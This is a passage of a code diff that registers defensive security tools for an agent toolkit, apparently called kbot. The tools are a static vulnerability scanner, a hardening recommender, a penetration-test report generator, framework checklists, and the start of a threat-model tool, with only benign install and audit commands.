lines.push('- [ ] ActiveRecord: parameterized queries (no .where with string)');
|
|
2710
|
+
lines.push('- [ ] Brakeman scan passing');
|
|
2711
|
+
lines.push('- [ ] Mass assignment protection');
|
|
2712
|
+
lines.push('- [ ] Cookie: secure, httponly, same_site: :strict');
|
|
2713
|
+
lines.push('- [ ] Action Cable: authenticate connections');
|
|
2714
|
+
lines.push('- [ ] config.action_dispatch.default_headers configured');
|
|
2715
|
+
lines.push('');
|
|
2716
|
+
}
|
|
2717
|
+
return lines.join('\n');
|
|
2718
|
+
}
|
|
2719
|
+
// ── Tool Registration ──────────────────────────────────────────────────────────
|
|
2720
|
+
export function registerRedBlueTools() {
|
|
2721
|
+
// ─── Tool 1: Red Team Scan ───────────────────────────────────────────────────
|
|
2722
|
+
registerTool({
|
|
2723
|
+
name: 'redteam_scan',
|
|
2724
|
+
description: 'Red team: scan a codebase for vulnerabilities. Reads source files and pattern-matches for secrets, injection vectors, auth issues, crypto weaknesses, dependency vulnerabilities, and configuration problems. Thinks like an attacker. Returns findings with severity, file, line, evidence, exploitation scenario, and CWE ID.',
|
|
2725
|
+
parameters: {
|
|
2726
|
+
path: { type: 'string', description: 'Directory to scan (default: current directory)' },
|
|
2727
|
+
focus: { type: 'string', description: 'Scan focus: "secrets", "injection", "auth", "crypto", "deps", "config", "all" (default: "all")' },
|
|
2728
|
+
depth: { type: 'string', description: 'Scan depth: "quick" (~200 files), "standard" (~1000 files), "deep" (~5000 files). Default: "standard"' },
|
|
2729
|
+
},
|
|
2730
|
+
tier: 'free',
|
|
2731
|
+
timeout: 120_000,
|
|
2732
|
+
async execute(args) {
|
|
2733
|
+
const scanPath = resolvePath(String(args.path || '.'));
|
|
2734
|
+
const focus = String(args.focus || 'all').toLowerCase();
|
|
2735
|
+
const depth = String(args.depth || 'standard').toLowerCase();
|
|
2736
|
+
if (!existsSync(scanPath)) {
|
|
2737
|
+
return `Error: Path does not exist: ${scanPath}`;
|
|
2738
|
+
}
|
|
2739
|
+
const maxFiles = depth === 'quick' ? MAX_FILES_QUICK : depth === 'deep' ? MAX_FILES_DEEP : MAX_FILES_STANDARD;
|
|
2740
|
+
const files = collectFiles(scanPath, maxFiles);
|
|
2741
|
+
if (files.length === 0) {
|
|
2742
|
+
return `No source files found in ${scanPath}. Check the path and ensure it contains code files.`;
|
|
2743
|
+
}
|
|
2744
|
+
const allFindings = [];
|
|
2745
|
+
const scanStart = Date.now();
|
|
2746
|
+
if (focus === 'all' || focus === 'secrets') {
|
|
2747
|
+
allFindings.push(...scanSecrets(files, scanPath));
|
|
2748
|
+
}
|
|
2749
|
+
if (focus === 'all' || focus === 'injection') {
|
|
2750
|
+
allFindings.push(...scanInjection(files, scanPath));
|
|
2751
|
+
}
|
|
2752
|
+
if (focus === 'all' || focus === 'auth') {
|
|
2753
|
+
allFindings.push(...scanAuth(files, scanPath));
|
|
2754
|
+
}
|
|
2755
|
+
if (focus === 'all' || focus === 'crypto') {
|
|
2756
|
+
allFindings.push(...scanCrypto(files, scanPath));
|
|
2757
|
+
}
|
|
2758
|
+
if (focus === 'all' || focus === 'deps') {
|
|
2759
|
+
allFindings.push(...scanDeps(files, scanPath));
|
|
2760
|
+
}
|
|
2761
|
+
if (focus === 'all' || focus === 'config') {
|
|
2762
|
+
allFindings.push(...scanConfig(files, scanPath));
|
|
2763
|
+
}
|
|
2764
|
+
const scanDuration = Date.now() - scanStart;
|
|
2765
|
+
const counts = severityCounts(allFindings);
|
|
2766
|
+
const lines = [
|
|
2767
|
+
'# Red Team Scan Results',
|
|
2768
|
+
'',
|
|
2769
|
+
`**Target**: \`${scanPath}\``,
|
|
2770
|
+
`**Scan Depth**: ${depth} (${files.length} files scanned)`,
|
|
2771
|
+
`**Focus**: ${focus}`,
|
|
2772
|
+
`**Duration**: ${scanDuration}ms`,
|
|
2773
|
+
`**Risk Score**: ${calculateRiskScore(allFindings)}/100 (Grade: ${riskGrade(calculateRiskScore(allFindings))})`,
|
|
2774
|
+
'',
|
|
2775
|
+
'## Summary',
|
|
2776
|
+
'',
|
|
2777
|
+
`| Severity | Count |`,
|
|
2778
|
+
`|----------|-------|`,
|
|
2779
|
+
`| CRITICAL | ${counts.critical} |`,
|
|
2780
|
+
`| HIGH | ${counts.high} |`,
|
|
2781
|
+
`| MEDIUM | ${counts.medium} |`,
|
|
2782
|
+
`| LOW | ${counts.low} |`,
|
|
2783
|
+
`| **Total** | **${allFindings.length}** |`,
|
|
2784
|
+
'',
|
|
2785
|
+
];
|
|
2786
|
+
if (allFindings.length === 0) {
|
|
2787
|
+
lines.push('No vulnerabilities found. The codebase appears clean for the scanned categories.');
|
|
2788
|
+
lines.push('');
|
|
2789
|
+
lines.push('**Note**: This is a static analysis tool. It may miss vulnerabilities that require:');
|
|
2790
|
+
lines.push('- Dynamic testing (fuzzing, pen testing)');
|
|
2791
|
+
lines.push('- Authentication flow analysis');
|
|
2792
|
+
lines.push('- Business logic review');
|
|
2793
|
+
lines.push('- Runtime dependency behavior');
|
|
2794
|
+
}
|
|
2795
|
+
else {
|
|
2796
|
+
// Group by category
|
|
2797
|
+
const categories = new Map();
|
|
2798
|
+
for (const f of allFindings) {
|
|
2799
|
+
const cat = categories.get(f.category) || [];
|
|
2800
|
+
cat.push(f);
|
|
2801
|
+
categories.set(f.category, cat);
|
|
2802
|
+
}
|
|
2803
|
+
for (const [category, findings] of Array.from(categories.entries())) {
|
|
2804
|
+
lines.push(`## ${category} (${findings.length} findings)`);
|
|
2805
|
+
lines.push('');
|
|
2806
|
+
lines.push(formatFindings(findings));
|
|
2807
|
+
}
|
|
2808
|
+
// Top 5 most critical
|
|
2809
|
+
const topFindings = allFindings
|
|
2810
|
+
.sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity])
|
|
2811
|
+
.slice(0, 5);
|
|
2812
|
+
lines.push('## Priority Remediation (Top 5)');
|
|
2813
|
+
lines.push('');
|
|
2814
|
+
for (let i = 0; i < topFindings.length; i++) {
|
|
2815
|
+
const f = topFindings[i];
|
|
2816
|
+
lines.push(`${i + 1}. **${f.severity.toUpperCase()}** — ${f.title} in \`${f.file}:${f.line}\``);
|
|
2817
|
+
if (f.remediation)
|
|
2818
|
+
lines.push(` Fix: ${f.remediation}`);
|
|
2819
|
+
}
|
|
2820
|
+
}
|
|
2821
|
+
return lines.join('\n');
|
|
2822
|
+
},
|
|
2823
|
+
});
|
|
2824
|
+
// ─── Tool 2: Blue Team Harden ────────────────────────────────────────────────
|
|
2825
|
+
registerTool({
|
|
2826
|
+
name: 'blueteam_harden',
|
|
2827
|
+
description: 'Blue team: generate security hardening recommendations with ready-to-use code snippets. Produces security headers middleware, input validation patterns, auth hardening, crypto best practices, and logging/monitoring setup. Returns actionable code that can be directly applied.',
|
|
2828
|
+
parameters: {
|
|
2829
|
+
path: { type: 'string', description: 'Directory to analyze for context (default: current directory)' },
|
|
2830
|
+
focus: { type: 'string', description: 'Hardening focus: "headers", "auth", "input", "crypto", "logging", "all" (default: "all")' },
|
|
2831
|
+
},
|
|
2832
|
+
tier: 'free',
|
|
2833
|
+
timeout: 60_000,
|
|
2834
|
+
async execute(args) {
|
|
2835
|
+
const hardenPath = resolvePath(String(args.path || '.'));
|
|
2836
|
+
const focus = String(args.focus || 'all').toLowerCase();
|
|
2837
|
+
// Quick scan to understand the codebase context
|
|
2838
|
+
const files = collectFiles(hardenPath, 500);
|
|
2839
|
+
const hasExpress = files.some(f => /express/i.test(f.content));
|
|
2840
|
+
const hasFastify = files.some(f => /fastify/i.test(f.content));
|
|
2841
|
+
const hasNextjs = files.some(f => /next/i.test(f.path) || /next\.config/i.test(f.path));
|
|
2842
|
+
const hasDjango = files.some(f => /django/i.test(f.content));
|
|
2843
|
+
const hasFlask = files.some(f => /flask/i.test(f.content));
|
|
2844
|
+
const hasKoa = files.some(f => /koa/i.test(f.content));
|
|
2845
|
+
const framework = hasExpress ? 'Express.js' :
|
|
2846
|
+
hasFastify ? 'Fastify' :
|
|
2847
|
+
hasNextjs ? 'Next.js' :
|
|
2848
|
+
hasDjango ? 'Django' :
|
|
2849
|
+
hasFlask ? 'Flask' :
|
|
2850
|
+
hasKoa ? 'Koa' :
|
|
2851
|
+
'Generic';
|
|
2852
|
+
const lines = [
|
|
2853
|
+
'# Blue Team Hardening Recommendations',
|
|
2854
|
+
'',
|
|
2855
|
+
`**Target**: \`${hardenPath}\``,
|
|
2856
|
+
`**Detected Framework**: ${framework}`,
|
|
2857
|
+
`**Files Analyzed**: ${files.length}`,
|
|
2858
|
+
'',
|
|
2859
|
+
'---',
|
|
2860
|
+
'',
|
|
2861
|
+
];
|
|
2862
|
+
// Run a quick red team scan to identify what needs hardening
|
|
2863
|
+
const findings = [];
|
|
2864
|
+
findings.push(...scanSecrets(files, hardenPath));
|
|
2865
|
+
findings.push(...scanInjection(files, hardenPath));
|
|
2866
|
+
findings.push(...scanAuth(files, hardenPath));
|
|
2867
|
+
findings.push(...scanCrypto(files, hardenPath));
|
|
2868
|
+
findings.push(...scanConfig(files, hardenPath));
|
|
2869
|
+
if (findings.length > 0) {
|
|
2870
|
+
const counts = severityCounts(findings);
|
|
2871
|
+
lines.push('## Current Vulnerability Summary');
|
|
2872
|
+
lines.push('');
|
|
2873
|
+
lines.push(`Found **${findings.length}** issues (${counts.critical} critical, ${counts.high} high, ${counts.medium} medium, ${counts.low} low)`);
|
|
2874
|
+
lines.push('');
|
|
2875
|
+
lines.push('The hardening recommendations below directly address these findings.');
|
|
2876
|
+
lines.push('');
|
|
2877
|
+
lines.push('---');
|
|
2878
|
+
lines.push('');
|
|
2879
|
+
}
|
|
2880
|
+
if (focus === 'all' || focus === 'headers') {
|
|
2881
|
+
lines.push(generateSecurityHeaders());
|
|
2882
|
+
}
|
|
2883
|
+
if (focus === 'all' || focus === 'input') {
|
|
2884
|
+
lines.push(generateInputValidation());
|
|
2885
|
+
}
|
|
2886
|
+
if (focus === 'all' || focus === 'auth') {
|
|
2887
|
+
lines.push(generateAuthHardening());
|
|
2888
|
+
}
|
|
2889
|
+
if (focus === 'all' || focus === 'crypto') {
|
|
2890
|
+
lines.push(generateCryptoBestPractices());
|
|
2891
|
+
}
|
|
2892
|
+
if (focus === 'all' || focus === 'logging') {
|
|
2893
|
+
lines.push(generateLoggingPatterns());
|
|
2894
|
+
}
|
|
2895
|
+
// Add quick-apply section
|
|
2896
|
+
lines.push('---');
|
|
2897
|
+
lines.push('');
|
|
2898
|
+
lines.push('## Quick-Apply Commands');
|
|
2899
|
+
lines.push('');
|
|
2900
|
+
if (hasExpress || framework === 'Generic') {
|
|
2901
|
+
lines.push('### Install Security Dependencies');
|
|
2902
|
+
lines.push('```bash');
|
|
2903
|
+
lines.push('npm install helmet express-rate-limit cors csurf argon2 zod winston');
|
|
2904
|
+
lines.push('npm install -D @types/express-rate-limit @types/csurf');
|
|
2905
|
+
lines.push('```');
|
|
2906
|
+
lines.push('');
|
|
2907
|
+
}
|
|
2908
|
+
if (hasFastify) {
|
|
2909
|
+
lines.push('### Install Security Dependencies');
|
|
2910
|
+
lines.push('```bash');
|
|
2911
|
+
lines.push('npm install @fastify/helmet @fastify/rate-limit @fastify/cors @fastify/csrf-protection argon2 zod');
|
|
2912
|
+
lines.push('```');
|
|
2913
|
+
lines.push('');
|
|
2914
|
+
}
|
|
2915
|
+
if (hasNextjs) {
|
|
2916
|
+
lines.push('### Install Security Dependencies');
|
|
2917
|
+
lines.push('```bash');
|
|
2918
|
+
lines.push('npm install argon2 zod next-safe');
|
|
2919
|
+
lines.push('```');
|
|
2920
|
+
lines.push('');
|
|
2921
|
+
}
|
|
2922
|
+
lines.push('### Secret Scanning');
|
|
2923
|
+
lines.push('```bash');
|
|
2924
|
+
lines.push('# Install and run gitleaks');
|
|
2925
|
+
lines.push('brew install gitleaks # or: go install github.com/gitleaks/gitleaks/v8@latest');
|
|
2926
|
+
lines.push('gitleaks detect --source . --verbose');
|
|
2927
|
+
lines.push('');
|
|
2928
|
+
lines.push('# Or use trufflehog');
|
|
2929
|
+
lines.push('npx trufflehog filesystem --directory=. --only-verified');
|
|
2930
|
+
lines.push('```');
|
|
2931
|
+
lines.push('');
|
|
2932
|
+
lines.push('### Dependency Audit');
|
|
2933
|
+
lines.push('```bash');
|
|
2934
|
+
lines.push('npm audit');
|
|
2935
|
+
lines.push('npm audit fix');
|
|
2936
|
+
lines.push('npx better-npm-audit audit');
|
|
2937
|
+
lines.push('```');
|
|
2938
|
+
return lines.join('\n');
|
|
2939
|
+
},
|
|
2940
|
+
});
|
|
2941
|
+
// ─── Tool 3: Red Team Report ─────────────────────────────────────────────────
|
|
2942
|
+
registerTool({
|
|
2943
|
+
name: 'redteam_report',
|
|
2944
|
+
description: 'Generate a professional penetration test report. Runs a full red team scan and formats results as an executive assessment with risk score, attack surface mapping, critical findings with exploitation scenarios, risk matrix, and prioritized remediation plan.',
|
|
2945
|
+
parameters: {
|
|
2946
|
+
path: { type: 'string', description: 'Directory to assess (default: current directory)' },
|
|
2947
|
+
},
|
|
2948
|
+
tier: 'free',
|
|
2949
|
+
timeout: 180_000,
|
|
2950
|
+
async execute(args) {
|
|
2951
|
+
const reportPath = resolvePath(String(args.path || '.'));
|
|
2952
|
+
if (!existsSync(reportPath)) {
|
|
2953
|
+
return `Error: Path does not exist: ${reportPath}`;
|
|
2954
|
+
}
|
|
2955
|
+
const files = collectFiles(reportPath, MAX_FILES_DEEP);
|
|
2956
|
+
if (files.length === 0) {
|
|
2957
|
+
return `No source files found in ${reportPath}.`;
|
|
2958
|
+
}
|
|
2959
|
+
const scanStart = Date.now();
|
|
2960
|
+
// Run all scans
|
|
2961
|
+
const secretFindings = scanSecrets(files, reportPath);
|
|
2962
|
+
const injectionFindings = scanInjection(files, reportPath);
|
|
2963
|
+
const authFindings = scanAuth(files, reportPath);
|
|
2964
|
+
const cryptoFindings = scanCrypto(files, reportPath);
|
|
2965
|
+
const depFindings = scanDeps(files, reportPath);
|
|
2966
|
+
const configFindings = scanConfig(files, reportPath);
|
|
2967
|
+
const allFindings = [
|
|
2968
|
+
...secretFindings,
|
|
2969
|
+
...injectionFindings,
|
|
2970
|
+
...authFindings,
|
|
2971
|
+
...cryptoFindings,
|
|
2972
|
+
...depFindings,
|
|
2973
|
+
...configFindings,
|
|
2974
|
+
];
|
|
2975
|
+
const scanDuration = Date.now() - scanStart;
|
|
2976
|
+
const riskScore = calculateRiskScore(allFindings);
|
|
2977
|
+
const grade = riskGrade(riskScore);
|
|
2978
|
+
const counts = severityCounts(allFindings);
|
|
2979
|
+
// Determine tech stack
|
|
2980
|
+
const techStack = [];
|
|
2981
|
+
if (files.some(f => f.ext === '.ts' || f.ext === '.tsx'))
|
|
2982
|
+
techStack.push('TypeScript');
|
|
2983
|
+
if (files.some(f => f.ext === '.js' || f.ext === '.jsx'))
|
|
2984
|
+
techStack.push('JavaScript');
|
|
2985
|
+
if (files.some(f => f.ext === '.py'))
|
|
2986
|
+
techStack.push('Python');
|
|
2987
|
+
if (files.some(f => f.ext === '.go'))
|
|
2988
|
+
techStack.push('Go');
|
|
2989
|
+
if (files.some(f => f.ext === '.java'))
|
|
2990
|
+
techStack.push('Java');
|
|
2991
|
+
if (files.some(f => f.ext === '.rb'))
|
|
2992
|
+
techStack.push('Ruby');
|
|
2993
|
+
if (files.some(f => f.ext === '.rs'))
|
|
2994
|
+
techStack.push('Rust');
|
|
2995
|
+
if (files.some(f => f.ext === '.php'))
|
|
2996
|
+
techStack.push('PHP');
|
|
2997
|
+
if (files.some(f => f.ext === '.c' || f.ext === '.cpp'))
|
|
2998
|
+
techStack.push('C/C++');
|
|
2999
|
+
if (files.some(f => f.ext === '.cs'))
|
|
3000
|
+
techStack.push('C#');
|
|
3001
|
+
// Count unique vulnerable files
|
|
3002
|
+
const vulnerableFiles = new Set(allFindings.map(f => f.file));
|
|
3003
|
+
const lines = [];
|
|
3004
|
+
// ── Executive Summary ──
|
|
3005
|
+
lines.push('# Penetration Test Report');
|
|
3006
|
+
lines.push('');
|
|
3007
|
+
lines.push('---');
|
|
3008
|
+
lines.push('');
|
|
3009
|
+
lines.push('## Executive Summary');
|
|
3010
|
+
lines.push('');
|
|
3011
|
+
lines.push(`| Metric | Value |`);
|
|
3012
|
+
lines.push(`|--------|-------|`);
|
|
3013
|
+
lines.push(`| **Target** | \`${reportPath}\` |`);
|
|
3014
|
+
lines.push(`| **Assessment Date** | ${new Date().toISOString().split('T')[0]} |`);
|
|
3015
|
+
lines.push(`| **Files Scanned** | ${files.length} |`);
|
|
3016
|
+
lines.push(`| **Vulnerable Files** | ${vulnerableFiles.size} (${((vulnerableFiles.size / files.length) * 100).toFixed(1)}%) |`);
|
|
3017
|
+
lines.push(`| **Tech Stack** | ${techStack.join(', ') || 'Unknown'} |`);
|
|
3018
|
+
lines.push(`| **Scan Duration** | ${(scanDuration / 1000).toFixed(1)}s |`);
|
|
3019
|
+
lines.push(`| **Risk Score** | **${riskScore}/100** |`);
|
|
3020
|
+
lines.push(`| **Risk Grade** | **${grade}** |`);
|
|
3021
|
+
lines.push('');
|
|
3022
|
+
// Risk summary paragraph
|
|
3023
|
+
if (riskScore === 0) {
|
|
3024
|
+
lines.push('The codebase shows no detected vulnerabilities from static analysis. This is a positive indicator but does not guarantee security. Dynamic testing, manual review, and runtime analysis are recommended for comprehensive assurance.');
|
|
3025
|
+
}
|
|
3026
|
+
else if (riskScore <= 15) {
|
|
3027
|
+
lines.push(`The codebase has a **low risk** posture with ${allFindings.length} findings. Most issues are minor and can be addressed in normal development cycles. No critical exploitation paths were identified.`);
|
|
3028
|
+
}
|
|
3029
|
+
else if (riskScore <= 30) {
|
|
3030
|
+
lines.push(`The codebase has a **moderate risk** posture with ${allFindings.length} findings across ${vulnerableFiles.size} files. Several issues require attention, particularly ${counts.critical > 0 ? 'the critical findings' : 'the high-severity findings'} which should be prioritized.`);
|
|
3031
|
+
}
|
|
3032
|
+
else if (riskScore <= 50) {
|
|
3033
|
+
lines.push(`The codebase has a **high risk** posture with ${allFindings.length} findings. **${counts.critical} critical** and **${counts.high} high** severity issues require immediate attention. An attacker with access to this code could exploit multiple vulnerability classes.`);
|
|
3034
|
+
}
|
|
3035
|
+
else {
|
|
3036
|
+
lines.push(`The codebase has a **critical risk** posture with ${allFindings.length} findings. **${counts.critical} critical** vulnerabilities present immediate exploitation risks. Remediation should begin immediately, starting with secret rotation and injection fixes.`);
|
|
3037
|
+
}
|
|
3038
|
+
lines.push('');
|
|
3039
|
+
// ── Findings Summary Table ──
|
|
3040
|
+
lines.push('## Findings Summary');
|
|
3041
|
+
lines.push('');
|
|
3042
|
+
lines.push('| Severity | Count | Categories |');
|
|
3043
|
+
lines.push('|----------|-------|------------|');
|
|
3044
|
+
const criticalCats = Array.from(new Set(allFindings.filter(f => f.severity === 'critical').map(f => f.category))).join(', ');
|
|
3045
|
+
const highCats = Array.from(new Set(allFindings.filter(f => f.severity === 'high').map(f => f.category))).join(', ');
|
|
3046
|
+
const mediumCats = Array.from(new Set(allFindings.filter(f => f.severity === 'medium').map(f => f.category))).join(', ');
|
|
3047
|
+
const lowCats = Array.from(new Set(allFindings.filter(f => f.severity === 'low').map(f => f.category))).join(', ');
|
|
3048
|
+
lines.push(`| CRITICAL | ${counts.critical} | ${criticalCats || '-'} |`);
|
|
3049
|
+
lines.push(`| HIGH | ${counts.high} | ${highCats || '-'} |`);
|
|
3050
|
+
lines.push(`| MEDIUM | ${counts.medium} | ${mediumCats || '-'} |`);
|
|
3051
|
+
lines.push(`| LOW | ${counts.low} | ${lowCats || '-'} |`);
|
|
3052
|
+
lines.push(`| **TOTAL** | **${allFindings.length}** | |`);
|
|
3053
|
+
lines.push('');
|
|
3054
|
+
// ── Attack Surface Map ──
|
|
3055
|
+
lines.push('## Attack Surface Map');
|
|
3056
|
+
lines.push('');
|
|
3057
|
+
const attackSurface = {
|
|
3058
|
+
'Entry Points': [],
|
|
3059
|
+
'Data Stores': [],
|
|
3060
|
+
'Authentication': [],
|
|
3061
|
+
'External Integrations': [],
|
|
3062
|
+
'Sensitive Operations': [],
|
|
3063
|
+
};
|
|
3064
|
+
for (const file of files) {
|
|
3065
|
+
const rel = relative(reportPath, file.path);
|
|
3066
|
+
if (/(?:route|api|endpoint|controller|handler|server|app)\./i.test(rel)) {
|
|
3067
|
+
attackSurface['Entry Points'].push(rel);
|
|
3068
|
+
}
|
|
3069
|
+
if (/(?:database|db|model|schema|migration|prisma|drizzle)/i.test(rel)) {
|
|
3070
|
+
attackSurface['Data Stores'].push(rel);
|
|
3071
|
+
}
|
|
3072
|
+
if (/(?:auth|login|session|passport|oauth|jwt)/i.test(rel)) {
|
|
3073
|
+
attackSurface['Authentication'].push(rel);
|
|
3074
|
+
}
|
|
3075
|
+
if (/(?:email|payment|stripe|webhook|notify|sms)/i.test(rel) || /(?:fetch|axios|http|request)/i.test(rel)) {
|
|
3076
|
+
if (attackSurface['External Integrations'].length < 10) {
|
|
3077
|
+
attackSurface['External Integrations'].push(rel);
|
|
3078
|
+
}
|
|
3079
|
+
}
|
|
3080
|
+
if (/(?:upload|crypto|encrypt|admin|deploy)/i.test(rel)) {
|
|
3081
|
+
attackSurface['Sensitive Operations'].push(rel);
|
|
3082
|
+
}
|
|
3083
|
+
}
|
|
3084
|
+
for (const [surface, paths] of Object.entries(attackSurface)) {
|
|
3085
|
+
if (paths.length > 0) {
|
|
3086
|
+
lines.push(`### ${surface}`);
|
|
3087
|
+
for (const p of paths.slice(0, 10)) {
|
|
3088
|
+
lines.push(`- \`${p}\``);
|
|
3089
|
+
}
|
|
3090
|
+
if (paths.length > 10) {
|
|
3091
|
+
lines.push(`- _+${paths.length - 10} more_`);
|
|
3092
|
+
}
|
|
3093
|
+
lines.push('');
|
|
3094
|
+
}
|
|
3095
|
+
}
|
|
3096
|
+
// ── Risk Matrix ──
|
|
3097
|
+
lines.push('## Risk Matrix');
|
|
3098
|
+
lines.push('');
|
|
3099
|
+
lines.push('| | Low Impact | Medium Impact | High Impact | Critical Impact |');
|
|
3100
|
+
lines.push('|---|---|---|---|---|');
|
|
3101
|
+
const matrixCells = (likelihood) => {
|
|
3102
|
+
const findingsForLikelihood = allFindings.filter(f => {
|
|
3103
|
+
if (likelihood === 'High')
|
|
3104
|
+
return f.severity === 'critical' || f.severity === 'high';
|
|
3105
|
+
if (likelihood === 'Medium')
|
|
3106
|
+
return f.severity === 'medium';
|
|
3107
|
+
return f.severity === 'low';
|
|
3108
|
+
});
|
|
3109
|
+
const impacts = { low: 0, medium: 0, high: 0, critical: 0 };
|
|
3110
|
+
for (const f of findingsForLikelihood) {
|
|
3111
|
+
impacts[f.severity]++;
|
|
3112
|
+
}
|
|
3113
|
+
return `| **${likelihood} Likelihood** | ${impacts.low || '-'} | ${impacts.medium || '-'} | ${impacts.high || '-'} | ${impacts.critical || '-'} |`;
|
|
3114
|
+
};
|
|
3115
|
+
lines.push(matrixCells('High'));
|
|
3116
|
+
lines.push(matrixCells('Medium'));
|
|
3117
|
+
lines.push(matrixCells('Low'));
|
|
3118
|
+
lines.push('');
|
|
3119
|
+
// ── Critical Findings Detail ──
|
|
3120
|
+
if (allFindings.length > 0) {
|
|
3121
|
+
const criticalFindings = allFindings
|
|
3122
|
+
.filter(f => f.severity === 'critical' || f.severity === 'high')
|
|
3123
|
+
.sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity]);
|
|
3124
|
+
if (criticalFindings.length > 0) {
|
|
3125
|
+
lines.push('## Critical & High Findings');
|
|
3126
|
+
lines.push('');
|
|
3127
|
+
lines.push(formatFindings(criticalFindings.slice(0, 20)));
|
|
3128
|
+
}
|
|
3129
|
+
const otherFindings = allFindings.filter(f => f.severity === 'medium' || f.severity === 'low');
|
|
3130
|
+
if (otherFindings.length > 0) {
|
|
3131
|
+
lines.push('## Medium & Low Findings');
|
|
3132
|
+
lines.push('');
|
|
3133
|
+
if (otherFindings.length > 15) {
|
|
3134
|
+
lines.push(formatFindings(otherFindings.slice(0, 15)));
|
|
3135
|
+
lines.push(`_+${otherFindings.length - 15} additional findings omitted for brevity._`);
|
|
3136
|
+
lines.push('');
|
|
3137
|
+
}
|
|
3138
|
+
else {
|
|
3139
|
+
lines.push(formatFindings(otherFindings));
|
|
3140
|
+
}
|
|
3141
|
+
}
|
|
3142
|
+
}
|
|
3143
|
+
// ── Remediation Plan ──
|
|
3144
|
+
lines.push('## Prioritized Remediation Plan');
|
|
3145
|
+
lines.push('');
|
|
3146
|
+
if (counts.critical > 0) {
|
|
3147
|
+
lines.push('### Phase 1 — Immediate (0-24 hours)');
|
|
3148
|
+
lines.push('');
|
|
3149
|
+
const criticals = allFindings.filter(f => f.severity === 'critical');
|
|
3150
|
+
for (const f of criticals.slice(0, 10)) {
|
|
3151
|
+
lines.push(`- [ ] **${f.title}** in \`${f.file}:${f.line}\``);
|
|
3152
|
+
if (f.remediation)
|
|
3153
|
+
lines.push(` - ${f.remediation}`);
|
|
3154
|
+
}
|
|
3155
|
+
lines.push('');
|
|
3156
|
+
}
|
|
3157
|
+
if (counts.high > 0) {
|
|
3158
|
+
lines.push(`### Phase 2 — Short-term (1-7 days)`);
|
|
3159
|
+
lines.push('');
|
|
3160
|
+
const highs = allFindings.filter(f => f.severity === 'high');
|
|
3161
|
+
for (const f of highs.slice(0, 10)) {
|
|
3162
|
+
lines.push(`- [ ] **${f.title}** in \`${f.file}:${f.line}\``);
|
|
3163
|
+
if (f.remediation)
|
|
3164
|
+
lines.push(` - ${f.remediation}`);
|
|
3165
|
+
}
|
|
3166
|
+
lines.push('');
|
|
3167
|
+
}
|
|
3168
|
+
if (counts.medium > 0) {
|
|
3169
|
+
lines.push(`### Phase 3 — Medium-term (1-4 weeks)`);
|
|
3170
|
+
lines.push('');
|
|
3171
|
+
const mediums = allFindings.filter(f => f.severity === 'medium');
|
|
3172
|
+
for (const f of mediums.slice(0, 10)) {
|
|
3173
|
+
lines.push(`- [ ] **${f.title}** in \`${f.file}:${f.line}\``);
|
|
3174
|
+
}
|
|
3175
|
+
lines.push('');
|
|
3176
|
+
}
|
|
3177
|
+
if (counts.low > 0) {
|
|
3178
|
+
lines.push(`### Phase 4 — Long-term (ongoing)`);
|
|
3179
|
+
lines.push('');
|
|
3180
|
+
const lows = allFindings.filter(f => f.severity === 'low');
|
|
3181
|
+
lines.push(`- [ ] Address ${lows.length} low-severity findings during regular maintenance`);
|
|
3182
|
+
lines.push('- [ ] Implement automated security scanning in CI/CD pipeline');
|
|
3183
|
+
lines.push('- [ ] Schedule quarterly security reviews');
|
|
3184
|
+
lines.push('');
|
|
3185
|
+
}
|
|
3186
|
+
lines.push('---');
|
|
3187
|
+
lines.push('');
|
|
3188
|
+
lines.push('_Report generated by kbot redteam_report. This is a static analysis tool._');
|
|
3189
|
+
lines.push('_For comprehensive security assessment, combine with dynamic testing, manual penetration testing, and runtime analysis._');
|
|
3190
|
+
return lines.join('\n');
|
|
3191
|
+
},
|
|
3192
|
+
});
|
|
3193
|
+
// ─── Tool 4: Blue Team Checklist ─────────────────────────────────────────────
|
|
3194
|
+
registerTool({
|
|
3195
|
+
name: 'blueteam_checklist',
|
|
3196
|
+
description: 'Generate a comprehensive security hardening checklist tailored to a specific framework. Covers authentication, input validation, security headers, cryptography, logging, rate limiting, CORS/CSRF, dependency management, secrets, and infrastructure. Returns checkboxes for tracking completion.',
|
|
3197
|
+
parameters: {
|
|
3198
|
+
framework: { type: 'string', description: 'Framework: "express", "nextjs", "fastify", "django", "flask", "rails", "generic" (default: "generic")' },
|
|
3199
|
+
},
|
|
3200
|
+
tier: 'free',
|
|
3201
|
+
timeout: 30_000,
|
|
3202
|
+
async execute(args) {
|
|
3203
|
+
const framework = String(args.framework || 'generic').toLowerCase();
|
|
3204
|
+
const validFrameworks = ['express', 'nextjs', 'fastify', 'django', 'flask', 'rails', 'generic'];
|
|
3205
|
+
if (!validFrameworks.includes(framework)) {
|
|
3206
|
+
return `Invalid framework: "${framework}". Valid options: ${validFrameworks.join(', ')}`;
|
|
3207
|
+
}
|
|
3208
|
+
return generateChecklist(framework);
|
|
3209
|
+
},
|
|
3210
|
+
});
|
|
3211
|
+
// ─── Tool 5: Threat Model ────────────────────────────────────────────────────
|
|
3212
|
+
registerTool({
|
|
3213
|
+
name: 'threat_model',
|
|
3214
|
+
description: 'Perform threat modeling on a codebase. Analyzes code structure to identify data flows, trust boundaries, and threats. Supports STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege), DREAD (Damage, Reproducibility, Exploitability, Affected Users, Discoverability), and PASTA (Process for Attack Simulation and Threat Analysis) methodologies.',
|
|
3215
|
+
parameters: {
|
|
3216
|
+
path: { type: 'string', description: 'Directory to analyze (default: current directory)' },
|
|
3217
|
+
methodology: { type: 'string', description: 'Methodology: "stride", "dread", "pasta" (default: "stride")' },
|
|
3218
|
+
},
|
|
3219
|
+
tier: 'free',
|
|
3220
|
+
timeout: 120_000,
|
|
3221
|
+
async execute(args) {
|
|
3222
|
+
const modelPath = resolvePath(String(args.path || '.'));
|
|
3223
|
+
const methodology = String(args.methodology || 'stride').toLowerCase();
|
|
3224
|
+
if (!existsSync(modelPath)) {
|
|
3225
|
+
return `Error: Path does not exist: ${modelPath}`;
|
|
3226
|
+
}
|
|
3227
|
+
const validMethods = ['stride', 'dread', 'pasta'];
|
|
3228
|
+
if (!validMethods.includes(methodology)) {
|
|
3229
|
+
return `Invalid methodology: "${methodology}". Valid options: ${validMethods.join(', ')}`;
|
|
3230
|
+
}
|
|
3231
|
+
const files = collectFiles(modelPath, MAX_FILES_STANDARD);
|
|
3232
|
+
